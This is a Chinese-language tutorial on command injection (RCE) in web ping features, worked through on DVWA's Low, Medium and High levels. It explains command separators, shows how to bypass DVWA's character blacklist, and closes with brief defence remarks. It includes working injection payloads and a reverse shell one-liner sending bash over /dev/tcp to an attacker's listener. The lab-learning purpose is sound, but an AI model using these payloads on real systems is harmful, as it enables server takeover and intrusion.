Web安全:命令执行/注入(RCE)
与其说是死亡之ping…
还不如直接说:RCE之PING
Ping怎么了?
其实ping本身没有什么问题…
但由于某些网站提供了在线ping的功能，这个功能中调用了系统命令且把用户输入代入命令中，但由于开发者的考虑不周，导致网站没有对用户的输入进行过滤(喂啥网站就吃啥)或者过滤机制不严谨(网站吃了一些喂给它诱人但不该吃的东西)
然后捏,,,,攻击者就可以通过传入一些精心构造的攻击语句使原命令发生了歧义，从而执行了系统命令
RCE漏洞
上面的Ping功能的例子就是一个简单的RCE漏洞
成因&&利用条件
-
应用调用执行系统命令的函数
-
将用户输入作为系统命令的参数拼接到了命令行中
-
没有对用户输入进行过滤或过滤不严
虽说上面只有三点条件，但实际上这种漏洞还是在一般的Web渗透测试中很少见…
为什么捏?
–因为大部分Web应用很少有用到调用系统命令的需求…嘛= =，既然用的少，出现问题的可能性就小0w0
(毕竟一个人食物中毒的可能性比他在某天刚好被陨石砸中的可能性大嘛= =)
分类
-
代码层过滤不严–Ping的案例
-
系统的漏洞造成命令注入–
bash破壳漏洞(CVE-2014-6271) -
调用的第三方组件存在代码执行漏洞–著名的Log4Shell
危害
RCE…可以说是危害巨大…
要是不明白等到鼠标自己动起来应该就明白了
咳咳，正经说一下
以Web服务的权限执行系统命令/读写文件
控制整个网站甚至控制服务器
进一步内网渗透
靶场实战
打开DVWA到Vulnerability: Command Injection
看到这是一个Ping的界面
简单想一下，我们应该如何让这个命令语句歧义从而达到死亡之Ping的效果捏
最好的方法是让系统在ping完成之后再执行另一个命令
刚好操作系统有特定的字符可以拼接两个命令
Linux
-
&&表示上一条命令执行成功时，才执行下一条命令 -
|表示管道，上一条命令的输出，作为下一条命令参数 -
||表示上一条命令执行失败后，才执行下一条命令 -
;表示先执行上一条命令，再执行下一条命令(无论上一条命令是否执行成功)
P.S. 在Linux中
&表示任务在后台执行哦qwq
Windows
-
&&表示上一条命令执行成功时，才执行下一条命令 -
||表示上一条命令执行失败后，才执行下一条命令 -
&表示先执行上一条命令，再执行下一条命令(无论上一条命令是否执行成功)
Low
这个版本就是属于喂啥吃啥的类型
简单写一个payload
127.0.0.1;whoami
Medium
看一眼源码
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
发现它过滤了黑名单中的&&和;字符
换成黑名单中没有否字符即可
||whoami
P.S. 因为没有ip,所以Ping执行失败了，所以执行后面的
whoami命令
High
这次的黑名单已经很全了
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
不过捏，细心的朋友应该发现了，这个容易手滑的开发者做了一个有大病的事情
程序过滤了| (有空格)，而不是|…
所以我们完全可以用|绕过去
127.0.0.1|whoami
反弹Shell
为了能更优雅，舒适地控制目标机器
我们可以弹个shell
先在攻击的机器上用nc监听一个端口(端口任意，只要不被其他东西占用)
nc -lvnp 端口号
在靶机输入payload
127.0.0.1|bash -i >& /dev/tcp/攻击机器ip/端口号 0>&1
关于防御的思考
其实嘛，基于白名单更安全的原则，把输入限制成四段以点分隔开的数字就能很好的防御住这种攻击
但是捏,,,
如果对方的业务需要支持ping域名的话…
这种防御就影响正常业务了
因而安全防御必须得适合当前的业务，否则就有点因噎废食的感觉了= =
Ref
https://blog.csdn.net/zhangyu4863/article/details/83958641